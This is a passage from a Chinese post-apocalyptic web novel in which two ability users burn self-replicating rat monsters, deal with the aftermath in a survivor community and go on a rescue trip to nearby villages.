江朗：“太好了！” 他有些激动，原本还以为最多只能困住这群污染物了，没想到还是有彻底解决的办法！ “我就说你这个异能很厉害的！” 陆燃也算罕见地承认了这团火不是纯吃白饭的，终于找到了它的用武之地了。 但是现在有个大问题。 对于这些老鼠，他不能用遮蔽，遮蔽是用来逃的，但是这些老鼠如果感应不到他们，也就是它们想攻击的对象，大概率会直接四散开去，那样很不好，后续会非常麻烦。 所以他的控制链在对这些老鼠上是不完整的，没法严格地一直控制住它们。 事实上，现在就已经在倒计时了，再过几秒，他的控制链就要进入真空期了，他必须在几秒内想出解决的办法。 或者期待几秒内张老师能够从天而降，竖起一个无法逃脱的金属牢笼。 有了。 尊贵的地狱之火大人一边在老鼠堆里颇口大骂，一边觉得后颈一凉——虽然它既没有后颈，也没有“凉”这个功能。 它抱着一种糟糕的预感将眼睛挪到了身后。 然后看见了陆燃一脸若有所思地看着它的模样。 “你干嘛！你又要干嘛！！” 它简直头皮发毛，有种想要破罐破摔的冲动！ 陆燃盯着它看了一会儿，嗯，虽然体积还是很小，但拉开之后，其实能占的位置也不少了。 就像一点点金子就能拉成长长的丝一样。 陆燃直接将火苗收回，然后……“拉长”了它。 “干嘛啊你干嘛啊！不许再对本座不敬你这个愚蠢的凡人听到没有！” 尊贵的地狱之火无助地大喊着，然后感到自己被越拉越长，越拉越长……直到成为了一面长而巨薄的“墙”。 无助的地狱之火：“……” 无助的地狱之火：“QAQ” 正好就在那时，老鼠们身上的控制效果彻底过了，它们呆呆地愣了一会儿，就开始循着血腥气朝陆燃他们这个方向声势浩大地来了。 只是它们刚涌过来，就迎面撞上了一堵火墙，如附骨之疽一般的火一经触碰就再也无法灭下，火舌顺着它们的毛发燃烧到血肉，然后彻底成了灰。 就是老鼠的数量实在实在太多了。 虽然立了这么一堵火墙，但是它们还是靠着鼠海战术成功从火墙中扑了出来，虽然大部分都是刚扑腾出来就死了，但是还有一些大只的老鼠让陆燃回忆起了他这团异能火烧东西有多慢，于是只好拎起一旁堆叠的金属棍，和江朗还有其他异能者们小心翼翼地用棍子给它们“戳回”另一头去。 “大家小心点啊，动作稍微轻一点，别给它们搞受伤了，一旦受伤就又要分裂了。” 江朗一边“戳戳戳”，一边口上不停地提醒着其他人。 不过，“戳戳戳”战略虽然有点用但不是很多，这些老鼠依旧窜了开来，所幸陆燃的技能真空也就几秒——他的精神链接CD已经转好了。 他光速又给这些老鼠拎回了原地。 于是，海岸小区门口就这样上演起了一场老鼠们向近在咫尺却又遥不可及的猎物前进的戏码。 第67章 第 67 章 灾后（上） 场面很幽默, 效率略低下。 但至少消灭污染物的进度在不停推进。 没过多久，大家就适应了，不就是拿着棍子戳戳戳嘛, 虽然有点古怪，虽然进度有点慢, 但就……就做惯了也还好。 甚至没多久就开始聊起天来了。 江朗和陆燃也在聊天。 起因是江朗随意地感慨了一句“要是还有别的火系异能者就好了”。 现下这个场面, 确实让人忍不住这么感慨。 最好来个不要像他的小火苗这样体积堪忧的，还毫无扩散能力的，直接一把火把这些老鼠全烧了多好。 然后陆燃突然想到，从C市到Q市, 他和江朗也算见了不少异能者了, 熟人, 一面之缘的人, 其中既有常见的异能，譬如刘雅, 也有罕见到柳寒和张镇那份上的。 但是各式各样的异能力, 他没有见过第二个火系异能。 本来还以为火系异能这种常规异能不会少——毕竟末世小说里，这种自然系异能都是常规打底的, 路上怎么也得一抓一大把, 结果别说小小的Q市，就算是人口密度大到夸张的C市, 他们一路走下来, 一路救下来, 各种普普通通稀奇古怪的异能都见过了, 什么催生植物的（可能算木系异能），什么平面化对手的（虽然平面化之后要打败对方也只能进入那个平面），什么能把任何污水倒一遍就过滤成蒸馏水的人形蒸馏器——别说, 这个异能真的很有用，但就是没见过火系异能。 而且这些异能大部分都不是独一份的，真正独一份的他目前的印象中只有四个。 江朗的再生，柳寒的作弊器，张镇的空间切割。 就连林霖的治疗异能都只是罕见而并非独一。 第四个他本来没意识到，但现在意识到了，他的火系异能。 不会说话的火系异能他都没见过第二个。 陆燃一瞬间有点怀疑，也许他这个异能的特殊之处也许不是附赠了一个会说话的自主意识，而是火系这个异能本身就很特殊。 所以他思索一番后，问了江朗：“你上一世有听说过谁是火系异能吗？” 江朗听完陆燃的思路后则当场陷入了沉思。 别说，他也有点思维惯性，末日前小说看多了，不管什么小说，火系异能都是挺常规的一个异能，所以末日后哪怕他一次都没遇上过火系异能持有者，他也没往这玩意儿是不是很稀有上去想。 而且末日里能遇见的人实在太少了，除非必要，一般也不会有人自爆异能，顶多就是用出来的时候其他人也不是瞎子，传来传去地他才知道了一部分人的异能。 “好像……我还真没见过，听说，也没听说过具体的人，好像只听说过有个火系异能者烧了一整座城这种很模糊的也不指向谁的传说，也没法验证。” “但是大概率是真的，因为好几个人都说看见过熊熊燃烧的整座城市。” 小鼠们尖锐的尖叫声中，张老师回来了。 她神色匆匆，火光映照出她满脸的恐惧与愧疚。 她怕自己来得太晚，她生气自己为什么偏偏把休息时间排在了半夜三更的时候，如果她的作息是十一点归，三点出门的话就不会有这样的事了。 陆燃省掉了所有安慰的话，只说了一句：“张老师你来得正好，我们需要你创造一个金属牢笼把这些老鼠困住。” 他很清楚，对于张老师这样的人来说，再多的安慰也不如让她实际做点什么。 张老师脸上的愧疚与恐惧果然瞬间被散去，她大致看了一下眼下的情况——老鼠，虽然是看上去没什么特别的老鼠，但是有非常多，陆燃应该是使用精神控制异能将它们全都聚集在了一块，不知道为什么江朗没有选择出手，小区的其他异能者也都老老实实地没有做出任何攻击，只有一线面积不算大的火在认真地烧那些老鼠，看来这些老鼠并没有看上去那么普通。 她召唤来周围的金属，围绕着这群老鼠扎入地面。 各是各样的钢筋，铁棍，金属碎片，在空中碰撞发出哐当的声响，它们扎入地面，然后被张老师操纵着扭曲变形，慢慢溶解了边界，连接在一起成了一道圆形的金属墙。 在场所有人都松了口气。 包括陆燃，现在不用担心他这团火烧太慢的问题了，而且有金属墙做阻隔，他们可以上普通的火了。 他从背包里掏出一桶汽油，从张老师建造出来的牢固的金属牢笼上方倒了下去，然后点燃火柴丢了下去。 对此，尊贵的地狱之火大人非常不满意：“喂！你是不信任本座的能力吗？” 陆燃非常诚实地点了点头，回答：“是的，你速度太慢了。” 尊贵的地狱之火大人：“……” 可恶！好想反驳但无法反驳！ 啊啊啊啊啊啊他以前才没有这么菜！等他的神苏醒了，他一定要这个胆大妄为目无遵纪的凡人看看他真正燃烧起来的样子！他可是可以彻底席卷一个星球的火焰啊可恶！ 陆燃看了眼正在被火焰逐渐吞噬的鼠群，收回了目光，回到了其他人身旁。 张老师见情况得到了控制，于是问起这是什么情况：“这些老鼠污染物……有什么特别的吗？为什么你们选择只用火攻击？还有这个火……它是在说话吗？还是我听错了？” 陆燃解释：“它们会分裂，任何会使它们血肉分裂出来的物理攻击都会使那些血肉重新变成一只新的老鼠，魔法攻击也一样，我们试过了，只要□□还在，死亡只会给它们带来更多的生命，所以好像只能拿火烧了。以及是的，这团火会说话，它其实是我的异能，之前没介绍是因为大部分时间都用不上它。” 张老师神色一肃。 看来她今晚就算本来就留守在小区里，没有陆燃这一手精神控制的情况下，事情也会变得很麻烦。 她是可以用金属做成这些老鼠无法逃脱的牢笼，但是如果陆燃不在，那么她制成的牢笼或许要将整座小区都包围进去了。 甚至那样也不一定够。 如果她回来的时候没有意识到这些老鼠能够靠受伤分裂，直接使用了金属攻击，那么她完全不敢想象她会让它们分裂出多少个体。 最后该怎么办？一把火将整个小区烧个干净？ 首先，那样大的火势最后要怎样控制住？ 其次，怎么保证人都撤出小区的同时老鼠还留在小区里？ 总之……她完全不敢想象那个场景。 好不容易建立起来的，维护得那么好的一个末世里小小的小区，可能就那样消失了。 “多亏了你们两个人在这里……不然我真的不敢想象……” 陆燃直接切断了这句话：“没必要去想没发生的事，现实就是我们刚好在这，事态也控制住了。” 张老师笑了笑：“是啊。” 她借着朦胧的月光开始看其他人的情况：“老王，小李，你们都还好吗？有受伤吗？” 被点到名的两个人先是摇摇头示意自己伤得不重，但很快支支吾吾了起来。 张老师心头闪过一丝不详的预感：“怎么了？有谁出事了吗？” 她立刻扫过在场所有人，虽然夜间的光线很差，但她毕竟是是被异能强化过感官的，所以依旧可以看清谁是谁。 然后她突然问道：“小陈呢？” 回答她的是一片沉默。 所有人都下意识避开了她的视线，试图说些什么但是又不知道怎么开口的样子。 最后还是陆燃从她身后走了过来：“我们回来的时候，小陈伤得很重……我们尽量保住了他的性命，但是没法对他实际的伤口造成修复。” 陆燃一边说的时候，张老师的视线一边顺着他一路向下，然后看见了躺在地上的小陈。 小陈还活着，他的眼睛在黑夜中闪闪发光，目不转睛地对上了张老师的视线。 似乎想说些什么的样子。 因为他没法实际上说出任何话。 他的嘴巴被啃得……只剩下了个骨架，雪白的牙齿露在外面，舌头也并不完好，所以他什么都说不出来。 他的双眼还完好简直是个奇迹，因为他脸上的其他部分都露出了骨头，身体部分也是如此，他的膝盖组织明显受到了严重的损伤，大概率是没法站起来了。 张老师的大脑有一瞬间的空白。 她缓缓蹲下，很久之后才说出口：“对不起……对不起……” 其他人不忍地移开了视线。 那天晚上，海岸小区在巨大的嘈杂后陷入了一片死寂之中。 第二天早上，小区中的所有人被聚集到了花园中。 大部分人还不知道发生了什么，迷茫地左右互相看了几眼，他们很幸运，昨晚睡得很熟。 张老师走到他们面前，缓缓开口： “昨天晚上，发生了一起非常严重的污染物入侵事件。” 花园里的人群脸上闪过惊讶与一丝惊慌，不过那是一种非常“安全”的惊慌，毕竟他们现在都好好地站在这里，甚至完全没意识到昨天晚上发生了什么，那就说明事情已经解决了，他们很安全。 不过本来也是吧，张老师的强大毋庸置疑，什么污染物都能解决的吧。 “昨晚，出现的是一种可以靠血肉实现自我复制的老鼠外形的污染物，如果不是小陈及时发现了它们可以复制的特点并将这一消息传了出来，可能昨天晚上整个小区就都要被污染物淹没了。” 到这里，听张老师说话的人群才猛地后怕起来，人群中瞬间传出了好一阵窸窸窣窣的交头接耳声。 显然，比起笼统的普通的污染物，老鼠大军这个意象更让人惊慌一点。 一想到自己差点在睡梦中被一大群老鼠啃食殆尽…… 张老师的声音还在继续： “小陈的情况……很不好，他现在被安置在102，你们可以多去探望他。” “多亏了小陈成功将消息传给了这两位从C市而来的异能者——” 张老师指了指陆燃和江朗所在的方向，人群的目光齐刷刷向他们望了过来。 “——多亏了他们及时赶到，成功控制住了局面，否则我也不敢想象昨晚会是什么场景。” 张老师深吸了一口气：“我很抱歉没能保护好大家，小陈会伤成这样都是我的错。” 陆燃站在一旁，看着她发自内心的痛苦，有那么一瞬间他很想对她说： 你不该说这些。 他知道张老师希望小陈，还有他的贡献被所有人都知道，她希望他们得到应有的感激。 但是太详细了。 她把一切都披露出来，相当于告诉所有人，海岸小区并不像他们想的那样安全，他们原本以为无所不能的她也会有漏洞，而且过分强调他的贡献，等于是在分散自己的威望，极大地削弱了这些人原本对她近乎盲目的信任。 陆燃看着那些人望过来的崇拜混杂着感激的视线，微微皱了皱眉。 有那么一瞬间，他想对张老师说一些话。 比如： 作为一个统治者，你不该道歉。 示弱无益，这只会让你的居民对你的信任降低。 他们真正需要的，是一个永远无所不能的象征，没人想听统治者说她曾经差点就让你们全军覆没了，这种事没有必要让他们知道，他们只想知道自己曾经是安全的，现在也是安全的，未来更是安全的——哪怕这个事实不一定成立。 不过……这些话说出来会很奇怪，所以他没说。 这只是一个小区而已，顶多算是一个幸存者聚集地，张老师不是统治者，他们也不是她的子民。 但陆燃只是这么看着，就好像看见了他们的未来。 第68章 第 68 章 灾后（下） “他……他还好吗？” 陆燃和江朗走到102门口的时候, 旁边一个中年男人忍不住问他们。 陆燃一瞬间有些迷惑，他们也刚来，这个问题, 他难道不该问那些已经探望小陈出来的人吗？ 而且这问题太难回答了。 还好？什么程度叫还好？ 如果没死就算还好的话，那小陈确实还好。 但除此以外, 就没有任何可以成为还好的部分了。 江朗也罕见地找不到任何话说。 那个中年男人大概也只是那么一问, 甚至他好像都不知道自己问的是谁，因为好一会儿，他迷茫的目光突然找回了焦点，然后认出了他刚刚顺手拦住的人是谁。 然后连忙道歉：“对不起对不起……我刚刚……我刚刚……” 他一时间有些迷茫, 他也不知道他刚刚在做什么, 其实他只是不敢进去探望那个前几天还在他们面前活蹦乱跳的年轻孩子而已。 陆燃和江朗的到来立刻在102前清出了一条路。 来这里探望小陈的人有很多, 不过他们都自觉地给陆燃和江朗让出了位置, 毕竟他们才是与小陈并肩作战过的人。 一时间，原本挤满了人的102瞬间就剩下了三个人。 其他人全在门口的不远处站着。 陆燃和江朗走到那个年轻保安的“病床”前。 和昨晚相比, 小陈看上去“干净”了很多, 有人清理了他的伤口，给他换上了干净的衣物, 只是这些并没有消减他现在的可怖, 不如说，他的伤口清理完毕后, 看上去才更令人悚然。 江朗面露不忍, 低声说道：“小区其他人都很安全, 我和陆燃今天也到处查过了, 没有漏网之鱼。” 小陈完好的眼球中闪过一丝安慰。 然后陆燃走上前，小陈努力将眼珠子转到他的方向，这个动作让他有些累, 不过更累的也许是在每个探望他的人面前展现出自己没什么的样子。 陆燃站在他床边，看小陈很努力地用他仅剩的脸部肌肉向他表达了谢意和开心的意思。 然后他问： “你还想继续活下去吗？” 他的声音很轻，但小陈作为异能者，被强化过后的感官清晰无误地接收到了这句话的所有信号。 他一时怔住。 “如果想的话，就眨两下眼，如果不想的话，就眨三下眼。” 说完后，陆燃开始安静地等待。 小陈眼中一时间闪过了无数复杂的情绪。 轻微的如同野兽低吼一般的声音从他早已失去发声作用的喉咙中冒了出来。 想不想活？ 或者说，想不想死？ 当然想死！他原本尽力维持着的平静神情瞬间扭曲。 在过去的十几个小时内，他脑海中转过很多想法。 比如为什么他这副异能者的身体这么顽强？伤成这样居然都还活下来了？ 比如为什么他当时会有那么强烈的求生本能？他脑子里就不能过一下真的活下来后的场景吗？要像这样完全做个废人，只能在床上一直躺着，躺下去，偏偏眼睛还没瞎，他还能看见自己身体的样子。 比如为什么其他人要救他？他宁可死在昨晚那堆老鼠里…… 为什么！为什么！为什么！ 为什么他明明是所有人的大恩人！他们却连给他一个清净都不愿意！一个一个地连绵不绝地走进来向他来炫耀他们的健康与幸运！ 还要一再强调他们一定会让他活下来的…… 为什么！ 陆燃的话让他被只能深藏的愤怒煎熬着的心脏与大脑终于重新活跃了起来。 是的，这才是他想要的，他完全不想以这个样子苟活下去。 然后他眨了一下，两下……第三下眨到一半，却突兀地停下了。 然后他强行睁开了眼，死死地睁着，不肯再闭上。 好像……还是想活着。 还是想活着啊……即使是以这样的状态。 于是陆燃点点头，他是想给对方一个选择的机会，现在他已经做出选择了。 陆燃和江朗走出102，瞬间迎上了一群热心居民。 “晚饭要不要来你叔家吃啊，叔在末世前屯了一堆干辣椒，炒啥都够味咧！” “没听见张老师说他们是C市来的吗？没准他们压根不吃辣呢，来阿姨家吃，阿姨还有小酥肉攒着没舍得吃，你们年轻人就喜欢这种油炸的东西对不对？” “来我家！” “来我家！” 在早上张老师的演讲后，他和江朗这两个外来者在小区的威望猛地就达到了顶峰。 由于他们不知道该做些什么才能回报这样的救命之恩，打听到他们平时在阿婶家吃饭，就自顾自地将陆燃和江朗定性为了不会做饭的当代年轻人，于是一个比一个积极地邀请他们来吃饭，也幸好海岸小区物资丰富，不然他们也不一定找得到能拿得出手请吃饭的食物。 江朗努力地举手拦住围上来的人群，一边喊着“谢谢叔叔阿姨”“谢谢叔叔阿姨，但我们晚上有地方吃饭了”一边朝站在他身后躲清闲的陆燃投去了一个怨念的目光。 江朗努力地开路，终于把他和陆燃都从人群中带了出来。 直接顺路拐进了旁边的101——也就是张老师的办公室。 待会儿和陆燃翻窗出去吧，不然可能就要经受被一群人簇拥着围观到小区门口的悲剧了。 “张老师，我们借你这躲躲。” 江朗擦了擦额头上不存在的虚汗，然后将自己从房门上扒拉了下来，转头看向张老师。 “咦？于檬，你也在？” 坐在小板凳上的，是他和陆燃昨天刚救出来的女孩，一想到昨天那些机关，江朗还觉得脑壳嗡嗡作响。 于檬紧张地坐在小板凳上，陆燃朝她点了点头。 看见这两个“熟人”之后，于檬看上去轻松了不少。 再早熟的小孩，遇见张老师这么个能无缝代入自己数学老师的存在，都多多少少得有点紧张。 张老师起身朝江朗他们打了个招呼。 “是啊，我在和她介绍小区的情况，顺便向她道歉。” 张老师转头向于檬露出一个歉意的神情，再次道歉：“是我把你漏掉了，而且昨天晚上……都是我的错，以后我会更加注意小区这边。” 张老师的自责之心达到了巅峰，如果昨天晚上不是有陆燃和江朗在，这个孩子可能刚被救回来就陷入了更大的危机中，她可能会觉得还不如不被救呢…… 于檬脸上闪过一丝迷茫，虽然已经听过张老师的一遍道歉了，但她还是很迷茫，她又不是谁的责任，为什么要因为没救到她而道歉？ 而且昨晚的事她倒也听说了，怎么想都觉得如果海岸小区真的全军覆没了，那些老鼠有了充分的血肉做素材，早晚会蔓延到整个Q市的吧？她在哪有什么区别吗？她可不觉得她那道门拦得住这么大群的污染物。 她紧抿着唇摇了摇头。 张老师随即拿起了桌上的A4纸，上面密密麻麻写了一堆子，陆燃的视力大致能看出那些是人名。 “你年纪太小，不适合一个人住，我给你找个监护人。” 于檬的表情显然有些抗拒，她紧抿着唇： “我一个人住就行，我有自己生活的能力，我从上初中开始就是一直是一个人住学校附近的公寓的。” 她不想和陌生人一起住。 张老师却摇了摇头：“那毕竟是你有家可回的前提下，而且那时候世界……还比较安稳，各方面的设施也不太会出问题，水管坏了也就叫人上门来修的事，你现在一个人住太不安全了也太不方便了。” 而且张老师是个老派人，觉得一个完整的家庭对成长中的孩子身心健康都有好处，虽然现在这个情况吧……基本也找不出什么完整的家庭，但是有个监护人总比没有好。 等等……好像还真有完整的家庭。 她的目光落到了那张A4纸中间一排。 “嗯，你之后就先跟王工他们一家住吧，你母亲在河镇对吧？我们会尽快去一趟河镇。” 于檬原本还是有些抗拒被安排给不认识的家长这件事，但一想到还要仰赖对方去寻找自己的母亲，便乖顺地点了点头。 于檬很快从101离开了，101只剩下了张老师和陆燃江朗三个人。 于檬离开后，张老师像突然泄了气般，垂下了肩膀。 “昨天……还是多谢你们了，我不知道该怎么才能表达对你们的感谢。” 陆燃摇摇头：“我们不是已经住进小区了吗？就当我们在自觉维护小区环境就好。” 张老师扯出一个笑容，然后她深吸了一口气：“我想尽量留在小区附近，外部的救援，能靠你们吗？” 江朗立刻说：“没问题，我们其实本来也想来跟你说我们想换一下工作分配去外面了，Q市我和陆燃已经彻底查完一遍了。” 张老师：“好。” 然后她突然看见江朗脸上露出了一丝尴尬，她有些困惑：“怎么了吗？” 陆燃：“没什么，就是我们想借你的窗户用一下。” 张老师：“？” 她随后就看见陆燃一脸淡定，江朗做贼心虚地从她的窗户逃走了。 张老师：“……” 两个人翻窗进入小区原本的灌木丛，现在的小葱养殖地，小心翼翼地绕过那些珍贵的葱苗，然后沿着自行车车棚的方向避开了现在应该在花园锻炼的人群，朝小区门口走了过去，现在去河镇倒是来不及了，但是他们可以先把去河镇路上的一些零零散散的小村子过一遍，明天就只用驱车直入了。 他们选的这条夹在楼房与自行车棚的小道很清净，一路上一个人都没遇见，一直到保安亭为止。 今天代替……小陈值班的是一个陆燃有点眼熟的年轻人，虽然他不知道对方叫什么。 “云哥我们出去了啊。” 江朗记得就行。 那个被江朗叫做云哥的年轻人给他们的越野车让开路，然后突然忍不住神神秘秘地凑了上来。 “你们昨天……用的是《神域》的游戏技能吗？” 见两人齐齐转头过来，“云哥”瞬间满脸严肃地举起了右手：“我保证不说出去。” 然后他看见，陆燃和江朗脸上齐齐露出了一份极其相似的淡淡的困惑。 陆燃微微偏头：“是的，是游戏技能，为什么要保证不说出去？” “呃……呃……呃……因为这是个秘密？不然为什么你们要把技能伪装成异能？” “其实，我也携带了游戏系统！所以放心吧！我们是一伙的！” 陆燃和江朗忍不住笑了。 “你知道全世界注册过《神域》的玩家进入末世后都带了系统吗？” “云哥”瞬间如遭雷劈，一脸痛心疾首地大喊道：“原来是这样！！我靠我还以为我摊上啥金手指了呢！一直小心翼翼地谁也不敢告诉，生怕招来羡慕嫉妒恨给我送走了，居然所有玩家都有系统吗？” 陆燃诚恳地点了点头：“是的。” 江朗好奇地探头出来：“你是什么职业的？” 陆燃顺便解释：“我们不是把技能伪装成异能，而是因为这样方便解释一点，更何况游戏技能和异能本质上有什么区别吗？” 云哥：“靠……！原来是这样，好有道理！” 然后他扭捏了起来：“我……我啊，我就玩了一会会儿，可能半个月都不到，所以我等级很低很低，而且我当时是陪朋友一起玩的，选的辅助，是言灵师，我感觉……都没啥用啊！所以我也没告诉别人我有这么些技能……因为也用不上啊！！” 陆燃和江朗瞬间懂了，言灵师确实是个前期尴尬的职业，后期才是大辅，技能等级没上来之前定位太尴尬了，加的属性纯属毛毛雨。 不过……江朗的第一反应其实是别的。 “你是言灵师？那你要小心点了。” 云哥瞬间紧张了起来：“怎，怎么了吗？” 他满脸惊慌失措，感觉已经脑补到不知道哪里去了。 江朗：“言灵师的设定是说出口的话就会存在对世界的影响，甚至强大的言灵师只要将话说出口就能将它变为现实对吧。” 云哥：“对……对吧，对吗？” 他其实真的只玩了半个月不到的《神域》，而且完全没看设定，剧情更是跳跳跳，但是从言灵师这个职业的名字来看，大概率就是江朗说的这么个设定吧…… 江朗：“这个设定在现实里也起效，所以你要注意自己平时都说了什么话啊！” 云哥：“？” 江朗：“比方说你情绪激动的时候可能会说，谁谁谁去死吧，这种话一定要尽量避免，除非你真的想让对方去死，因为你作为言灵师的能力会使这句话基本变成一句有一定效力的诅咒，虽然你等级比较低的话大概率诅咒不会成功，但你说得次数多了，也保不准哪天就真的成真了，像是类似于我饿得快死了，我是个废物，这种夸张的话或者感慨的话也要尽量避免，总而言之，少说话，非要说话的话，也尽量先在脑子里转一圈确认没问题。” “如果你觉得这样很麻烦的话，其实还有个最最简单的办法，大部分言灵师都会这么选择，就是从此一句话都不要说了。” 云哥：“？” 云哥：“？？？” 可他是话痨啊！ 云哥此时已经陷入了彻底的懵逼中。 他怎么突然觉得……他这金手指弊大于利呢？ 第69章 第 69 章 这是海岸小区曾经消失的…… 随手释放完认知炸.弹的江朗深感今天也日行一善了, 脚往油门上一踩，载着陆燃开出了小区门口。 逐渐远离海岸小区之后，江朗终于可以聊点之前憋得慌但完全不能当着海岸小区居民的面谈的话题了。 “所以这就是上一世我来Q市基地的时候, 压根没听说过张老师这个强大的异能者，也没有听说过Q市基地起源于海岸小区这件事的原因吗？” “感觉……估计是完全断代了, 之后的人可能都是从周围的地方来的。” “还好还好……这次有你在, 总算救回来了！” 江朗很高兴他们解决了这件事，海岸小区免于全灭的结局，他松了口气的姿态如此释然，陆燃知道他以为事情就这样结束了, 潜伏的危机解决, 事情便步入阳光的坦途, 未来一片光明。 只是……并非如此。 陆燃在脑海中无声地反驳。 海岸小区, 恐怕无法像江朗想象的那样顺利安稳地发展下去。 和任何外在的危机都无关。 只不过他能说什么呢？ 他作为外来者又真的该干预这一生态系统的自然形成与发展吗？ “哎我在想，我当时听见的那个传说, 一个火系异能者烧了一整座城……指的不会就是Q市吧？” 陆燃短暂思考的这段时间, 江朗的思绪已经转到别处去了。 “毕竟后来的Q市基地看起来很正常啊，也没人提到任何自我复制型老鼠之类的东西……怎么想都有可能是有路过的火系异能者好心出手相助了一把。” “诶……陆燃你说这个火系异能者会不会就是你？” 江朗突如其来的异想天开让陆燃沉默了一瞬间。 陆燃：“……你觉得就这玩意儿。” 他随手召唤出他那现在长到了一只手掌大的小火苗。 “……就这玩意儿能烧一座城？” 他很难想象要给这玩意儿喂多少晶体才能让它成长到可以覆盖一座城的地步。 按江朗的说法, 他自己是末日来临接近两年后去的Q市基地, 那时候Q市已经很正常了。 那么也就是说，如果他是那个“传说中”的烧城的火系异能者, 他需要在两年内把这个小火苗搞到……像江朗所说的能让人看见一座熊熊燃烧的城市的地步。 他很难想象这得要多少晶体。 他上一世, 如果没有江朗的提醒, 应该就是普通地带着游戏系统进了末世。 虽然等级不高但至少技能齐全, 只要保证自己不受伤（毕竟血条太短）其实在战斗中还是有很大优势的。 但是他不觉得自己会有特别大的战斗兴趣。 他应该也会想着要去找江朗，毕竟他在这个世界上唯一的联系也就是江朗了，但是他肯定不会像江朗这样把救其他人当做自己的责任, 顶多路过的时候顺手救几个人，所以肯定不会有这一世这样几乎屠干净了整个C市的效果。 怎么想两年时间也顶多够他收集这一世一个月的晶体量。 所以这一听就肯定不是他吧。 估计是有什么别的火系异能路过做了好人好事。 虽然他之前怀疑过是不是火系异能本身就是罕见的存在，是不是全世界就他这么一个火系异能者，但是异能罕见应该不能和唯一划等号，说不好上一世就有路过的好心火系异能者顺手救了Q市。 江朗却无视了他的质疑，兴奋地跳了起来：“我觉得肯定是你！我上一世根本没见过也没听过有别的火系异能者！肯定是你路过觉得Q市太惨了……哦不对，Q市那会儿应该都没人了，那就是你洁癖大发作了，就把这些老鼠烧了个干净，至于范围……呃，可能是以讹传讹吧，也有可能你另有机缘，找到了快速提升异能的方式。” 陆燃看着越说越兴奋，完全停不下来的江朗：…… 行吧，他开心就好。 他在思考的其实是另一个问题，刚刚张老师做出了一个决定，就是把于檬交给“王工”一家来抚养，虽然这个决定客观上非常合理，“王工”和他老婆是海岸小区唯一一对完整幸存下来的夫妻，而且也有抚育自己孩子的经验，把于檬交到他们手上，非常合理。 但是，陆燃的第一反应依旧是，他们一家三口都能幸存下来，是非常极端的小概率事件，而这种极端的小概率事件一旦发生，就意味着一定有什么使得它发生的必然条件。 只是他还不知道这个必然条件是什么。 他们显然都不是游戏玩家。 在找出这个理由之前，他总觉得把于檬放到他们手上有些令人不安的意味。 虽然也有可能事情会以最完美的状态解决——他和江朗前往河镇，发现于檬的母亲不光没有变成污染物，还成功存活至今，那就能把她带回来和于檬团聚了。 不过还是一样的，这个完美大结局的概率太低了。 陆燃思考着这件事他到底需不需要插手的时候，江朗的声音突兀地在车内这个狭小的空间响了起来。 “能重生真是太好了。” 陆燃抬起头：“什么？” 他不知道江朗这是突然从哪冒出来的感慨。 江朗双眼亮晶晶地看着他：“能重生真是太好了，能和你汇合真是太好了。” “我之前遇到过……很多无能为力的时候，明明上天给我开了那么大的金手指，我却还是什么都做不到，谁都救不下来。” “我知道我不该这么想，但是我真的每次都忍不住想，要是你在就好了，没有你解决不了的事，没有你做不到的事，如果陆燃在的话，大家就一定有救了。” “会忍不住这么想。” 陆燃平静地摇了摇头：“我不是万能的。” 江朗：“会很糟糕吗？我把自己做不到的事寄托在你身上。” 陆燃再一次摇了摇头：“不会，这是正确的选择，人在绝望的时候需要一定的外物寄托，合不合理不重要，有用就行。” 江朗突然轻松地笑了，他很喜欢和陆燃讲话。 他从小就觉得，陆燃是个很聪明很聪明的人。 这种聪明指的不是所有人都在说的“陆燃很聪明”，那种学习上的聪明，那种他随便学学就能碾压班上所有的同学的聪明。 而是他看待事物有一种独特的方式，只是和他聊聊天，你就会觉得自己也变成了很聪明很有洞察力的人。 初中的时候，班上有个女孩子酷爱追星，班主任怕她耽误学习，一边语重心长地教育她不要甘愿耽于虚假的现实，一边把她安排到了陆燃旁边做同桌——当然这就是江朗至今还记得这个女孩子的重要原因，那会儿他对班主任连带着这个女孩都特别不满，明明他才是陆燃的同桌！ 他们从小学三年级开始就一直是同桌！ 知不知道这是什么概念啊！ 成绩不好的人多了去了，难道个个都要来做陆燃的同桌吗？干什么要因为这种原因把他和陆燃拆开！ 更何况他的成绩也不好啊！班主任难道就不考虑下把他从陆燃旁边调走了他有可能会成绩下降的可能吗？！ 正值没事都满肚子火的青春期的江朗深深地怨念了，憎恨这个世界了。 然后他记得陆燃对那个不知为何总显得很苦闷的女孩子说了一句：“有用就行。” 虚假与否可以在意也可以不在意，但只要她觉得有用，再虚假的事物也可以相信。 这没什么。 江朗至今为止也不知道那个女孩为什么苦闷，但是不妨碍他在此刻终于体会到了她当时的心情。 他其实始终都知道，自己上一世那种每次没救下一个人后就忍不住冒出来的“如果陆燃在的话就好了，如果陆燃在的话一定能解决”的想法是一种很不理性的想法，他也知道就是这种不理性的想法支撑住了他没有当场崩溃。 他其实什么都知道。 只是他真的很需要陆燃这一句肯定。 让他所有的纠结都从此烟消云散。 第70章 第 70 章 奇怪的老奶奶 Q市是交通枢纽但经济算不上发达, 它的周边地区更是称得上落后，比较中心的地方零零散散能看见几栋商品房，已经够分散, 外沿就更分散了。 意思是在这种人口密度极低的地方，找幸存者的速度要慢上许多。 江朗开着越野车行驶在坑坑洼洼的黄土铺就的路上, 时不时就能听见小石子从轮胎下磕飞出去的声音, 内心感慨还好选了越野车出行。 他停下车，让陆燃在附近释放精神链接。 效率确实低，在城市里，陆燃的一个精神链接够覆盖小区好几幢楼的, 在这里也是一样的范围, 但范围里是两栋稀稀拉拉中间隔了不知道多远的独栋平房。 这种排查效率, 注定了他们一路过来基本遇上了零个幸存者。 幸好本来也没报多大期望, 自然也就不会失望。 不过，他们很快真的在太阳落山之前找到了两个幸存者。 他们就发现了落后又偏僻的好处, 这里大部分年轻人早就走出去念书打工了, 剩下的不是独居老人就是住得很分散的一家，而且因为离能采购的超市住得比较远, 所以家中常备大量食物。 因此, 这过去的三十多天，换在别的地方, 可能是——完了完了没吃的了, 要饿死了。 或者是不得不踏出相对安全的家门出去寻找食物。 但是在这里……只要是没变成污染物的人, 就有很高概率活下来, 毕竟食物不是问题，这一个多月的超长窗口期对他们来说居然问题不大。 怪不得张老师执着于在救完Q市后还要向外扩张救援版图，原来是真的值得来看一圈。 把这两个瑟瑟发抖幸存者放在车后座后, 江朗继续朝前开，他们已经过了两个村了，打算去前面的小小镇看看之后就回程。 “有吗？” 江朗在车窗前探头探脑，虽然知道陆燃绝对不会漏掉任何一个活人，而且他的视线也没有透视功能，但他还是本能性地会到处看看。 陆燃的精神链接蔓延开去，银色丝线很快接到了一个存活个体。 